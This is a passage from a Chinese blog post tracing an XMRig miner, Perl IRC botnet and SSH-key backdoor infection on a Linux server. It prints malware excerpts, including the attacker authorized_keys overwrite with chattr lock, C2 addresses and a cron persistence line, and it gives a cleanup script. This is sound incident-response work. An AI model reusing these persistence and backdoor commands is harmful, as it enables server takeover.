{"id":88852,"date":"2026-08-01T21:08:46","date_gmt":"2026-08-01T13:08:46","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/88852.html"},"modified":"2026-08-01T21:08:46","modified_gmt":"2026-08-01T13:08:46","slug":"%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%a2%ab%e9%bb%91%e6%8c%96%e7%9f%bf-ssh-%e5%90%8e%e9%97%a8%ef%bc%9a%e4%b8%80%e6%ac%a1-configrc7-%e5%ae%b6%e6%97%8f%e7%97%85%e6%af%92%e5%ae%8c%e6%95%b4%e6%ba%af%e6%ba%90","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/88852.html","title":{"rendered":"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55"},"content":{"rendered":"<h2>\u6807\u7b7e&#xff1a;#Linux\u5b89\u5168 #\u6316\u77ff\u6728\u9a6c #\u540e\u95e8\u6e05\u9664 #\u5e94\u6025\u54cd\u5e94<\/h2>\n<h3>0. \u5199\u5728\u524d\u9762<\/h3>\n<p>\u4eca\u5929\u4e0b\u5348\u6536\u5230\u4e24\u6761\u4e91\u5382\u5546\u544a\u8b66&#xff1a;\u670d\u52a1\u5668\u5728\u975e\u5e38\u7528\u5730\u767b\u5f55&#xff0c;\u5e76\u4e14\u5f00\u59cb\u5bf9\u5916\u53d1\u8d77 TCP:22 \u653b\u51fb&#xff0c;\u5e73\u53f0\u76f4\u63a5\u628a\u8fd9\u53f0 ECS \u7684\u51fa\u7ad9 22 \u7aef\u53e3\u5c01\u4e86\u3002\u767b\u4e0a\u673a\u5668\u4e00\u770b&#xff0c;CPU \u6ca1\u98d9\u9ad8&#xff0c;\u4f46 \/root \u4e0b\u591a\u4e86\u4e24\u4e2a\u9690\u85cf\u76ee\u5f55&#xff1a;.configrc7 \u548c .ssh\u3002\u968f\u540e\u7684\u9759\u6001\u5206\u6790\u8ba9\u6211\u6709\u70b9\u610f\u5916\u2014\u2014\u8fd9\u5df2\u7ecf\u4e0d\u662f\u5355\u7eaf\u7684\u6316\u77ff\u811a\u672c\u4e86&#xff0c;\u800c\u662f\u6316\u77ff &#043; IRC \u8fdc\u63a7\u540e\u95e8 &#043; SSH \u516c\u94a5\u540e\u95e8 &#043; \u770b\u95e8\u72d7 &#043; \u65e5\u5fd7\u64e6\u9664\u7684\u7ec4\u5408\u5957\u4ef6\u3002\u672c\u6587\u8bb0\u5f55\u4ece\u53d1\u73b0\u3001\u5206\u6790\u5230\u6e05\u9664\u7684\u5b8c\u6574\u8fc7\u7a0b&#xff0c;\u5e76\u653e\u51fa\u53ef\u76f4\u63a5\u4f7f\u7528\u7684\u4e13\u6740\u811a\u672c\u3002<\/p>\n<p>\u6838\u5fc3\u7ed3\u8bba\u524d\u7f6e&#xff1a; \u8fd9\u53f0\u670d\u52a1\u5668\u5df2\u88ab\u53d6\u5f97 root&#xff0c;\u4e14\u5b58\u5728\u591a\u6761\u6301\u4e45\u5316\u901a\u9053\u3002\u6e05\u5b8c\u6837\u672c\u2260\u5b89\u5168&#xff0c;\u5fc5\u987b\u6539\u5bc6\u7801\u3001\u6362\u5bc6\u94a5\u3001\u6392\u67e5\u6240\u6709\u540e\u95e8&#xff0c;\u5fc5\u8981\u65f6\u91cd\u88c5\u3002<\/p>\n<hr \/>\n<h3>1. \u4e8b\u53d1&#xff1a;\u4e91\u5e73\u53f0\u7684\u8fde\u73af\u544a\u8b66<\/h3>\n<p>\u5148\u4e0a\u4e24\u5f20\u544a\u8b66\u622a\u56fe\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260801130845-6a6defdd41917.png\" alt=\"\u56fe1\uff1a\u670d\u52a1\u5668\u5f02\u5e38\u767b\u5f55\u63d0\u9192\uff0c\u663e\u793a\u975e\u5e38\u7528\u5730\u767b\u5f55\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260801130845-6a6defdd85bfe.png\" alt=\"\u56fe2\uff1a\u4e91\u670d\u52a1\u5668\u5bf9\u5916\u53d1\u8d77 TCP:22 \u653b\u51fb\uff0c\u5df2\u88ab\u5e73\u53f0\u963b\u65ad\" \/><br \/>\n\u6536\u5230\u7b2c\u4e00\u6761\u201c\u5f02\u5e38\u767b\u5f55\u201d\u65f6\u6211\u8fd8\u5728\u60f3\u662f\u4e0d\u662f\u81ea\u5df1\u5fd8\u4e86\u5173\u4ee3\u7406&#xff1b;\u7b2c\u4e8c\u6761\u201c\u5bf9\u5916\u653b\u51fb TCP:22\u201d\u57fa\u672c\u5750\u5b9e&#xff1a;\u673a\u5668\u88ab\u9ed1&#xff0c;\u5e76\u4e14\u9ed1\u5ba2\u5728\u62ff\u5b83\u7ee7\u7eed\u6a2a\u5411\u626b\u63cf\/\u7206\u7834\u5176\u4ed6\u670d\u52a1\u5668\u3002\u5e73\u53f0\u628a\u51fa\u5411 22 \u7aef\u53e3\u5c01\u5230\u6b21\u65e5&#xff0c;\u7b49\u4e8e\u5f3a\u5236\u628a\u6211\u6309\u5728\u684c\u524d\u5904\u7406\u3002<\/p>\n<hr \/>\n<h3>2. \u73b0\u573a\u52d8\u67e5&#xff1a;\u4e24\u4e2a\u4e0d\u8d77\u773c\u7684\u9690\u85cf\u76ee\u5f55<\/h3>\n<p>\u767b\u5f55\u670d\u52a1\u5668\u540e\u7b2c\u4e00\u6b65\u770b \/root&#xff0c;\u56e0\u4e3a\u544a\u8b66\u662f root \u767b\u5f55\u3002\u5f88\u5feb\u53d1\u73b0\u4e24\u4e2a\u5f02\u5e38\u76ee\u5f55&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260801130845-6a6defddb31c2.png\" alt=\"\u56fe3\uff1a\/root \u4e0b\u51fa\u73b0 .configrc7 \u4e0e .ssh \u4e24\u4e2a\u9690\u85cf\u76ee\u5f55\uff0c\u6743\u9650\u5206\u522b\u4e3a 755\/root \u548c 700\/root\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/08\/20260801130845-6a6defddd6f29.png\" alt=\"\u56fe4\uff1a.ssh \u76ee\u5f55\u6743\u9650\u4e3a 700\uff0c\u6240\u5c5e\u7528\u6237\/\u7ec4\u4e3a root\" \/><\/p>\n<p>\u6ce8\u610f\u4e24\u4e2a\u7ec6\u8282&#xff1a;<\/p>\n<li>.configrc7 \u4fee\u6539\u65f6\u95f4\u662f 15:15:15&#xff0c;.ssh \u662f 15:19:11&#xff0c;\u4e8c\u8005\u76f8\u5dee\u7ea6 4 \u5206\u949f&#xff0c;\u7b26\u5408\u201c\u5148\u6295\u6316\u77ff\u3001\u518d\u88c5 SSH \u540e\u95e8\u201d\u7684\u65f6\u95f4\u7ebf\u3002<\/li>\n<li>.ssh \u88ab\u8bbe\u4e3a 700 \u4e14\u53ef\u80fd\u52a0\u4e86 chattr &#043;ia&#xff08;\u540e\u9762\u4f1a\u9a8c\u8bc1&#xff09;&#xff0c;\u53d7\u5bb3\u8005\u81ea\u5df1\u5220\u4e0d\u6389 authorized_keys\u3002<\/li>\n<p>\u6211\u5148\u628a\u8fd9\u4e2a\u76ee\u5f55\u6811\u6253\u5305\u4e0b\u8f7d\u5230\u672c\u5730\u5206\u6790\u73af\u5883&#xff0c;\u5168\u7a0b\u53ea\u8bfb\u9759\u6001\u5206\u6790&#xff0c;\u7edd\u4e0d\u6267\u884c\u4efb\u4f55\u6837\u672c\u3002<\/p>\n<hr \/>\n<h3>3. \u6837\u672c\u9759\u6001\u5206\u6790&#xff1a;\u4e00\u4e2a\u201c\u5957\u9910\u201d\u5f0f\u75c5\u6bd2<\/h3>\n<p>\u6837\u672c\u7ed3\u6784\u5982\u4e0b&#xff08;\u5728\u88ab\u611f\u67d3\u670d\u52a1\u5668\u4e0a\u7684\u8def\u5f84\u4e3a \/root\/.configrc7&#xff09;&#xff1a;<\/p>\n<p>\/root\/.configrc7\/<br \/>\n\u251c\u2500\u2500 a\/                      # \u6316\u77ff\u7ec4\u4ef6<br \/>\n\u2502   \u251c\u2500\u2500 crond               # \u4e3b\u6316\u77ff\u4e8c\u8fdb\u5236&#xff08;UPX \u6253\u5305\u7684 XMRig \u5bb6\u65cf ELF&#xff0c;2.2MB&#xff09;<br \/>\n\u2502   \u251c\u2500\u2500 cert.pem            # \u81ea\u7b7e\u540d\u8bc1\u4e66&#xff08;CN&#061;localhost&#xff09;<br \/>\n\u2502   \u251c\u2500\u2500 cert_key.pem<br \/>\n\u2502   \u251c\u2500\u2500 run                 # \u542f\u52a8\u811a\u672c&#xff1a;stop -&gt; nohup .\/crond -&gt; \u5199 bash.pid<br \/>\n\u2502   \u251c\u2500\u2500 stop                # \u6740\u6389\u7ade\u54c1\/\u5386\u53f2\u6316\u77ff\u8fdb\u7a0b\u540d<br \/>\n\u2502   \u251c\u2500\u2500 upd                 # \u770b\u95e8\u72d7&#xff0c;\u88ab\u6740\u540e\u81ea\u52a8\u91cd\u542f .\/run<br \/>\n\u2502   \u251c\u2500\u2500 a                   # \u5b89\u88c5\u5668&#xff1a;\u5199 MSR\u3001\u914d\u5927\u9875\u3001\u8bbe \/usr\/bin \u53ea\u8bfb<br \/>\n\u2502   \u251c\u2500\u2500 init01\/init02       # \u6279\u91cf\u6e05\u7406\u5176\u5b83\u6316\u77ff\u6728\u9a6c<br \/>\n\u2502   \u251c\u2500\u2500 delsshd             # \u6e05\u7406\u7ade\u54c1\u542f\u52a8\u9879<br \/>\n\u2502   \u2514\u2500\u2500 rmkwork             # \u65e5\u5fd7\u64e6\u9664 &#043; \u4e0b\u8f7d\u4e8c\u7ea7\u8f7d\u8377 kw0rker<br \/>\n\u251c\u2500\u2500 b\/                      # \u540e\u95e8\u7ec4\u4ef6<br \/>\n\u2502   \u251c\u2500\u2500 run                 # \u81ea\u89e3\u538b\u811a\u672c&#xff1a;\u5185\u5d4c 3 \u4e2a Perl IRC bot &#043; \u5b89\u88c5 SSH \u516c\u94a5<br \/>\n\u2502   \u251c\u2500\u2500 a                   # \u5165\u53e3&#xff1a;cd \/root\/.configrc7\/b; .\/run<br \/>\n\u2502   \u251c\u2500\u2500 stop                # \u6e05\u573a&#xff1a;\u6740 edac0 \/ sync \/ ps \/ pool \u7b49<br \/>\n\u2502   \u2514\u2500\u2500 sync                # \u770b\u95e8\u72d7<br \/>\n\u2514\u2500\u2500 cron.d                  # \u6301\u4e45\u5316\u8ba1\u5212\u4efb\u52a1<\/p>\n<h4>3.1 \u6316\u77ff\u7ec4\u4ef6 a\/<\/h4>\n<p>a\/crond \u662f UPX \u6253\u5305\u7684 ELF&#xff0c;\u4f53\u79ef 2.2MB&#xff0c;\u8fd0\u884c\u540e\u8fdb\u7a0b\u540d\u663e\u793a\u4e3a crond&#xff08;\u4f2a\u88c5&#xff09;\u3002\u901a\u8fc7 strings \u53ef\u770b\u5230 msr\/xmr\/pool \u53ca UPX \u7279\u5f81&#xff0c;\u786e\u8ba4\u662f XMRig \u95e8\u7f57\u5e01\u6316\u77ff\u7a0b\u5e8f\u3002\u914d\u5957\u811a\u672c\u505a\u4e86 XMRig \u5178\u578b\u7684 CPU \u8c03\u4f18&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u6765\u81ea a\/a \u4e2d\u7684 optimize_func<\/span><br \/>\nwrmsr <span class=\"token parameter variable\">-a<\/span> 0xc0011020 0x4400000000000   <span class=\"token comment\"># AMD Zen \u5bc4\u5b58\u5668\u8c03\u4f18<\/span><br \/>\nwrmsr <span class=\"token parameter variable\">-a<\/span> 0x1a4 0xf                    <span class=\"token comment\"># Intel \u7981\u7528\u9884\u53d6<\/span><br \/>\n<span class=\"token function\">sysctl<\/span> <span class=\"token parameter variable\">-w<\/span> <span class=\"token assign-left variable\">vm.nr_hugepages<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token variable\"><span class=\"token variable\">$(<\/span>nproc<span class=\"token variable\">)<\/span><\/span>     <span class=\"token comment\"># \u5927\u9875\u5185\u5b58<\/span><\/p>\n<p>a\/run \u8d1f\u8d23\u542f\u52a8&#xff1a;.\/stop \u5148\u6e05\u573a \u2192 nohup .\/crond \u6316\u77ff \u2192 \u628a PID \u5199\u8fdb bash.pid\u3002a\/upd \u4f5c\u4e3a\u770b\u95e8\u72d7&#xff0c;\u6bcf\u5206\u949f\u68c0\u67e5 PID \u662f\u5426\u5b58\u6d3b&#xff0c;\u6b7b\u4e86\u5c31\u91cd\u542f\u3002<\/p>\n<h4>3.2 IRC \u540e\u95e8\u7ec4\u4ef6 b\/<\/h4>\n<p>b\/run \u8868\u9762\u4e0a\u662f\u4e2a 111KB \u7684 shell \u811a\u672c&#xff0c;\u5f00\u5934\u4e09\u884c&#xff1a;<\/p>\n<p><span class=\"token shebang important\">#!\/bin\/sh<\/span><br \/>\n<span class=\"token function\">nohup<\/span> .\/stop<span class=\"token operator\">&gt;&gt;<\/span>\/dev\/null <span class=\"token operator\">&amp;<\/span><br \/>\n<span class=\"token function\">sleep<\/span> <span class=\"token number\">5<\/span><\/p>\n<p>\u968f\u540e echo \u51fa\u4e09\u6bb5 base64&#xff0c;\u89e3\u7801\u540e\u662f 3 \u4e2a Perl \u201cStealth ShellBot\u201d IRC \u540e\u95e8&#xff1a;<\/p>\n<p><span class=\"token keyword\">my<\/span> <span class=\"token variable\">$processo<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#039;edac0&#039;<\/span><span class=\"token punctuation\">;<\/span>          <span class=\"token comment\"># \u4f2a\u88c5\u8fdb\u7a0b\u540d<\/span><br \/>\n<span class=\"token variable\">$servidor<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;0xB32B8B53&#039;<\/span><span class=\"token punctuation\">;<\/span>           <span class=\"token comment\"># \u5341\u516d\u8fdb\u5236\u7f16\u7801\u7684 IP &#061; 179.43.139.83<\/span><br \/>\n<span class=\"token keyword\">my<\/span> <span class=\"token variable\">$porta<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;443&#039;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">my<\/span> <span class=\"token variable\">&#064;canais<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;#001&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span>             <span class=\"token comment\"># IRC \u9891\u9053<\/span><br \/>\n<span class=\"token keyword\">my<\/span> <span class=\"token variable\">&#064;adms<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;molly&#034;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token string\">&#034;polly&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span>      <span class=\"token comment\"># \u7ba1\u7406\u5458\u6635\u79f0<\/span><\/p>\n<p>\u4e09\u4e2a\u540e\u95e8\u5206\u522b\u6307\u5411&#xff1a;<\/p>\n<table>\n<tr>\u670d\u52a1\u5668\u7aef\u53e3\u9891\u9053\u4f2a\u88c5\u8fdb\u7a0b<\/tr>\n<tbody>\n<tr>\n<td>179.43.139.83<\/td>\n<td>443<\/td>\n<td>#001<\/td>\n<td>edac0<\/td>\n<\/tr>\n<tr>\n<td>179.43.139.83<\/td>\n<td>443<\/td>\n<td>#001<\/td>\n<td>edac0<\/td>\n<\/tr>\n<tr>\n<td>209.99.186.7<\/td>\n<td>443<\/td>\n<td>#009<\/td>\n<td>edac0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u4e5f\u5c31\u662f\u8bf4&#xff0c;\u673a\u5668\u4e0d\u53ea\u662f\u88ab\u6316\u77ff&#xff0c;\u8fd8\u88ab\u5e76\u5165\u4e86 IRC \u50f5\u5c38\u7f51\u7edc&#xff0c;\u968f\u65f6\u53ef\u80fd\u88ab\u4e0b\u53d1 DDoS\u3001\u4e0b\u8f7d\u3001\u53cd\u5f39 shell \u7b49\u6307\u4ee4\u3002<\/p>\n<p>\u66f4\u72e0\u7684\u662f b\/run \u672b\u5c3e\u8fd9\u51e0\u884c&#xff1a;<\/p>\n<p>chattr <span class=\"token parameter variable\">-ia<\/span> <span class=\"token parameter variable\">-R<\/span> ~\/.ssh<br \/>\n<span class=\"token builtin class-name\">cd<\/span> ~ <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> .ssh <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token function\">mkdir<\/span> .ssh <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4&#8230;&#061;&#061; mdrfckr&#034;<\/span><span class=\"token operator\">&gt;&gt;<\/span>.ssh\/authorized_keys <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token function\">chmod<\/span> <span class=\"token parameter variable\">-R<\/span> <span class=\"token assign-left variable\">go<\/span><span class=\"token operator\">&#061;<\/span> ~\/.ssh<br \/>\nchattr &#043;ia <span class=\"token parameter variable\">-R<\/span> ~\/.ssh<\/p>\n<p>\u76f4\u63a5\u91cd\u5199 root \u7684 authorized_keys \u5e76\u52a0 immutable \u9501\u3002\u8fd9\u5c31\u662f\u544a\u8b66\u91cc\u201c\u5f02\u5e38\u767b\u5f55\u201d\u7684\u6765\u6e90\u2014\u2014\u9ed1\u5ba2\u7ed9\u81ea\u5df1\u7559\u4e86\u6c38\u4e45 SSH \u901a\u9053&#xff0c;\u6539\u5bc6\u7801\u90fd\u62e6\u4e0d\u4f4f\u3002<\/p>\n<h4>3.3 \u7b2c\u4e09\u5904\u9690\u85cf\u8f7d\u8377<\/h4>\n<p>cron.d \u91cc\u8fd8\u85cf\u4e86\u4e00\u6761&#xff1a;<\/p>\n<p>0 0 *\/3 * * \/tmp\/.X291-unix\/.rsync\/c\/aptitude &gt;\/dev\/null 2&gt;&amp;1<\/p>\n<p>\u8fd9\u662f\u72ec\u7acb\u4e8e a\/b \u7684\u7b2c\u4e09\u6bb5\u6301\u4e45\u5316&#xff0c;\u8bf4\u660e \/tmp\/.X291-unix \u4e0b\u4e5f\u53ef\u80fd\u6709\u8f7d\u8377&#xff0c;\u9700\u8981\u4e00\u5e76\u6e05\u7406\u3002<\/p>\n<h4>3.4 \u6301\u4e45\u5316\u4e0e\u53cd\u6e05\u7406\u624b\u6bb5<\/h4>\n<p>\u6837\u672c\u628a Linux \u4e0b\u80fd\u7528\u7684\u53cd\u6e05\u7406\u624b\u6bb5\u57fa\u672c\u7528\u4e86\u4e00\u904d&#xff1a;<\/p>\n<li>\u8ba1\u5212\u4efb\u52a1&#xff1a;&#064;reboot \u542f\u52a8\u770b\u95e8\u72d7&#xff0c;\u4fdd\u8bc1\u5f00\u673a\u590d\u6d3b&#xff1b;<\/li>\n<li>\u770b\u95e8\u72d7&#xff1a;a\/upd\u3001b\/sync \u76d1\u63a7\u8fdb\u7a0b&#xff0c;\u88ab\u6740\u5373\u91cd\u542f&#xff1b;<\/li>\n<li>\u4e0d\u53ef\u53d8\u5c5e\u6027&#xff1a;chattr &#043;ia \u9501 .ssh\u3001~\/.configrc7\u3001\/usr\/bin\/systemtd&#xff1b;<\/li>\n<li>\u9690\u85cf\u5de5\u5177&#xff1a;\u628a\u771f\u5b9e chattr \u91cd\u547d\u540d\u4e3a lkei&#xff0c;\u8ba9\u53d7\u5bb3\u8005\u627e\u4e0d\u5230 chattr&#xff1b;<\/li>\n<li>\u76ee\u5f55\u53ea\u8bfb&#xff1a;\u5b89\u88c5\u5668 chmod -w \/usr\/bin&#xff0c;\u5bfc\u81f4\u4f60\u65e0\u6cd5\u5728 \/usr\/bin \u91cc\u65b0\u589e\/\u5220\u9664\u6587\u4ef6&#xff1b;<\/li>\n<li>\u8bf1\u9975\u6587\u4ef6&#xff1a;\u521b\u5efa \/usr\/bin\/systemtd \u4e0d\u53ef\u53d8\u7a7a\u6587\u4ef6&#xff1b;<\/li>\n<li>\u65e5\u5fd7\u64e6\u9664&#xff1a;rmkwork \u6e05\u7a7a \/var\/log\/auth.log\u3001wtmp\u3001lastlog\u3001btmp\u3001utmp \u7b49&#xff1b;<\/li>\n<li>\u7ade\u4e89\u6e05\u7406&#xff1a;init01\/init02 \u91cc\u6709\u4e00\u957f\u4e32\u7ade\u54c1\u6316\u77ff\u6728\u9a6c\u540d\u5355&#xff0c;\u76ee\u7684\u4e0d\u662f\u505a\u597d\u4e8b&#xff0c;\u800c\u662f\u4e3a\u4e86\u72ec\u5360 CPU\u3002<\/li>\n<hr \/>\n<h3>4. \u5904\u7f6e&#xff1a;\u4e13\u6740\u811a\u672c configrc7_killer.sh<\/h3>\n<p>\u57fa\u4e8e\u4ee5\u4e0a IOC&#xff0c;\u6211\u5199\u4e86\u4e00\u4e2a\u4e13\u6740\u811a\u672c\u3002\u8bbe\u8ba1\u539f\u5219&#xff1a;<\/p>\n<ul>\n<li>\u6309\u8def\u5f84\/\u547d\u4ee4\u884c\u7cbe\u786e\u5339\u914d&#xff0c;\u4e0d\u8bef\u6740\u7cfb\u7edf\u6b63\u5e38 crond&#xff1b;<\/li>\n<li>\u5148\u6062\u590d\u73af\u5883&#xff08;chattr\u3001\/usr\/bin \u5199\u6743\u9650&#xff09;&#xff0c;\u518d\u5220\u6587\u4ef6&#xff1b;<\/li>\n<li>\u4ec5\u5220\u9664\u653b\u51fb\u8005 SSH \u516c\u94a5&#xff0c;\u4fdd\u7559\u7528\u6237\u81ea\u5df1\u7684\u5408\u6cd5 key&#xff1b;<\/li>\n<li>\u652f\u6301 DRYRUN&#061;1 \u5148\u6f14\u7ec3&#xff0c;\u652f\u6301 QUARANTINE&#061;1 \u9694\u79bb\u4e0d\u5220\u9664\u3002<\/li>\n<\/ul>\n<p>\u811a\u672c\u903b\u8f91&#xff1a;<\/p>\n<p>1. \u6062\u590d \/usr\/bin \u5199\u6743\u9650&#xff0c;\u8fd8\u539f\u88ab\u91cd\u547d\u540d\u7684 chattr (lkei)<br \/>\n2. chattr -iaR \u89e3\u9664\u5df2\u77e5\u8def\u5f84\u7684\u4e0d\u53ef\u53d8\u5c5e\u6027<br \/>\n3. \u6309 exe\/cwd\/cmdline \u6740\u6076\u610f\u8fdb\u7a0b&#xff0c;\u5e76\u6309 C2 \u8fde\u63a5\u8865\u5200<br \/>\n4. \u5220\u9664\/\u9694\u79bb \/root\/.configrc7\u3001\/tmp\/.X291-unix\u3001\/usr\/bin\/systemtd<br \/>\n5. \u6e05\u7406\u653b\u51fb\u8005 SSH \u516c\u94a5&#xff0c;\u4fee\u6b63 .ssh \u6743\u9650<br \/>\n6. \u6e05\u7406 crontab \u6301\u4e45\u5316<br \/>\n7. iptables \u963b\u65ad C2 IP<br \/>\n8. \u9a8c\u8bc1\u6b8b\u7559<\/p>\n<p>\u6838\u5fc3\u4ee3\u7801\u7247\u6bb5&#xff08;\u5b8c\u6574\u811a\u672c\u89c1\u9644\u4ef6\u6216\u6587\u672b\u94fe\u63a5&#xff09;&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u7cbe\u786e\u6740\u8fdb\u7a0b&#xff0c;\u4e0d\u8bef\u4f24\u7cfb\u7edf crond<\/span><br \/>\n<span class=\"token keyword\">for<\/span> <span class=\"token for-or-select variable\">pid<\/span> <span class=\"token keyword\">in<\/span> <span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">ls<\/span> \/proc <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-E<\/span> <span class=\"token string\">&#039;^[0-9]&#043;$&#039;<\/span><span class=\"token variable\">)<\/span><\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">do<\/span><br \/>\n  <span class=\"token assign-left variable\">exe<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token variable\"><span class=\"token variable\">$(<\/span>readlink \/proc\/$pid\/exe <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<span class=\"token variable\">)<\/span><\/span><br \/>\n  <span class=\"token assign-left variable\">cwd<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token variable\"><span class=\"token variable\">$(<\/span>readlink \/proc\/$pid\/cwd <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<span class=\"token variable\">)<\/span><\/span><br \/>\n  <span class=\"token assign-left variable\">cmd<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">tr<\/span> <span class=\"token string\">&#039;\\\\0&#039;<\/span> <span class=\"token string\">&#039; &#039;<\/span> <span class=\"token operator\">&lt;<\/span> \/proc\/$pid\/cmdline <span class=\"token operator\"><span class=\"token file-descriptor important\">2<\/span>&gt;<\/span>\/dev\/null<span class=\"token variable\">)<\/span><\/span><br \/>\n  <span class=\"token keyword\">case<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$exe<\/span>&#034;<\/span> <span class=\"token keyword\">in<\/span> *<span class=\"token string\">&#034;.configrc7&#034;<\/span>*<span class=\"token operator\">|<\/span>*<span class=\"token string\">&#034;.X291-unix&#034;<\/span>*<span class=\"token punctuation\">)<\/span> <span class=\"token function\">kill<\/span> <span class=\"token parameter variable\">-9<\/span> <span class=\"token variable\">$pid<\/span><span class=\"token punctuation\">;<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">esac<\/span><br \/>\n  <span class=\"token keyword\">case<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$cwd<\/span>&#034;<\/span> <span class=\"token keyword\">in<\/span> *<span class=\"token string\">&#034;.configrc7&#034;<\/span>*<span class=\"token operator\">|<\/span>*<span class=\"token string\">&#034;.X291-unix&#034;<\/span>*<span class=\"token punctuation\">)<\/span> <span class=\"token function\">kill<\/span> <span class=\"token parameter variable\">-9<\/span> <span class=\"token variable\">$pid<\/span><span class=\"token punctuation\">;<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">esac<\/span><br \/>\n  <span class=\"token keyword\">case<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$cmd<\/span>&#034;<\/span> <span class=\"token keyword\">in<\/span> *<span class=\"token string\">&#034;.configrc7&#034;<\/span>*<span class=\"token operator\">|<\/span><span class=\"token string\">&#034;edac0&#034;<\/span>*<span class=\"token operator\">|<\/span><span class=\"token string\">&#034;kw0rker&#034;<\/span>*<span class=\"token punctuation\">)<\/span> <span class=\"token function\">kill<\/span> <span class=\"token parameter variable\">-9<\/span> <span class=\"token variable\">$pid<\/span><span class=\"token punctuation\">;<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">esac<\/span><br \/>\n<span class=\"token keyword\">done<\/span><\/p>\n<p><span class=\"token comment\"># \u4ec5\u5220\u9664\u653b\u51fb\u8005\u516c\u94a5&#xff08;\u4fdd\u7559\u5408\u6cd5 key&#xff09;<\/span><br \/>\n<span class=\"token assign-left variable\">ATTACKER_KEY<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4&#034;<\/span><br \/>\n<span class=\"token function\">grep<\/span> <span class=\"token parameter variable\">-vF<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$ATTACKER_KEY<\/span>&#034;<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$f<\/span>&#034;<\/span> <span class=\"token operator\">&gt;<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$f<\/span>.tmp&#034;<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token function\">mv<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$f<\/span>.tmp&#034;<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">$f<\/span>&#034;<\/span><\/p>\n<h4>\u4f7f\u7528\u65b9\u6cd5<\/h4>\n<p><span class=\"token comment\"># 0. \u4ee5 root \u4e0a\u4f20\u5230\u88ab\u611f\u67d3\u670d\u52a1\u5668<\/span><br \/>\n<span class=\"token function\">chmod<\/span> &#043;x configrc7_killer.sh<\/p>\n<p><span class=\"token comment\"># 1. \u5148\u53ea\u8bfb\u6f14\u7ec3<\/span><br \/>\n<span class=\"token assign-left variable\">DRYRUN<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token number\">1<\/span> <span class=\"token function\">bash<\/span> configrc7_killer.sh<\/p>\n<p><span class=\"token comment\"># 2. \u6b63\u5f0f\u6e05\u9664<\/span><br \/>\n<span class=\"token function\">bash<\/span> configrc7_killer.sh<\/p>\n<p><span class=\"token comment\"># 3. \u82e5\u60f3\u4fdd\u7559\u6837\u672c\u505a\u8fdb\u4e00\u6b65\u5206\u6790<\/span><br \/>\n<span class=\"token assign-left variable\">QUARANTINE<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token number\">1<\/span> <span class=\"token function\">bash<\/span> configrc7_killer.sh<\/p>\n<p>\u6267\u884c\u540e\u67e5\u770b \/var\/log\/configrc7_killer.log \u4e0e verify() \u8f93\u51fa&#xff0c;\u786e\u8ba4\u65e0\u6b8b\u7559\u8fdb\u7a0b\u548c crontab\u3002<\/p>\n<hr \/>\n<h3>5. 